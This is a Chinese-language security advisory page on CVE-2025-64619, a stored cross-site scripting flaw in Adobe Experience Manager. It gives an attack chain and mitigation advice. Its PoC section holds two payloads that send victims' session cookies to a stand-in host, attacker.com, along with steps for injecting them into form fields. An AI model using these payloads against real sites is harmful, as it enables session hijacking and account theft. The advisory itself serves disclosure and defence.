CVE-2025-64619 CVSS 5.4 中危

Adobe Experience Manager 存储型XSS漏洞 (CVE-2025-64619)

披露日期: 2025-12-10

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-64619

漏洞类型

存储型XSS

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Adobe Experience Manager

漏洞概述

CVE-2025-64619是Adobe Experience Manager中的一个存储型跨站脚本(XSS)漏洞。该漏洞影响6.5.23及更早版本，允许低权限攻击者在表单字段中注入恶意JavaScript脚本。由于是存储型XSS，恶意代码会被永久保存在服务器端，当其他用户浏览包含这些被污染字段的页面时，恶意脚本会在其浏览器中自动执行。攻击者可利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或修改页面内容显示。由于攻击需要低权限账户且需要用户交互，CVSS评分为5.4（中危）。该漏洞由Adobe安全团队([email protected])发现并于2025年12月10日披露。

技术细节

Adobe Experience Manager的表单组件未对用户输入进行充分的HTML实体编码。当低权限用户在前台表单字段中提交包含JavaScript代码的内容时，系统直接将该内容存储到数据库中而未进行安全过滤。在后续页面渲染过程中，这些未经过滤的内容被直接输出到HTML页面中，导致恶意脚本在受害者浏览器中执行。攻击者利用此漏洞需要：1）拥有一个低权限的AEM账户；2）找到允许用户输入的表单字段；3）注入恶意JavaScript代码；4）诱导其他用户访问包含该字段的页面。由于攻击代码存储在服务器端，每次页面加载都会执行，具有持久性危害。防御措施包括对所有用户输入进行严格的输入验证和输出编码。

攻击链分析

STEP 1

侦察阶段

攻击者识别目标Adobe Experience Manager实例，并确认其版本是否在6.5.23或更早版本范围内

STEP 2

获取低权限账户

攻击者通过社会工程、凭据填充或利用其他漏洞获取AEM的低权限用户账户

STEP 3

注入恶意脚本

攻击者在前台表单字段中输入包含恶意JavaScript的payload，如<script>标签或事件处理器属性

STEP 4

脚本存储

系统将未经过滤的用户输入存储到数据库中，恶意代码被持久化

STEP 5

诱导受害者访问

攻击者通过钓鱼邮件、即时消息或其他方式诱导目标用户访问包含被污染表单字段的页面

STEP 6

脚本执行

当受害者浏览器加载页面时，恶意JavaScript在其浏览器上下文中执行，可窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Stored XSS PoC for CVE-2025-64619 -->
<!-- Inject this payload into any form field in Adobe Experience Manager -->
<script>alert('XSS');document.location='https://attacker.com/steal?cookie='+document.cookie</script>

<!-- Alternative payload using img onerror -->
<img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">

<!-- Steps to exploit:
1. Login to AEM with low-privilege account
2. Navigate to a form component
3. Fill form field with XSS payload
4. Submit the form
5. When admin/user views the page containing the field, XSS executes
-->

影响范围

Adobe Experience Manager <= 6.5.23

防御指南

临时缓解措施

立即为Adobe Experience Manager安装官方安全更新(APSB25-115)。如果无法立即更新，可暂时禁用或限制前台表单组件的用户输入功能，对所有表单字段实施严格的输入过滤规则，并启用WAF(Web应用防火墙)规则拦截恶意脚本请求。同时监控访问日志以检测潜在的XSS利用尝试。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表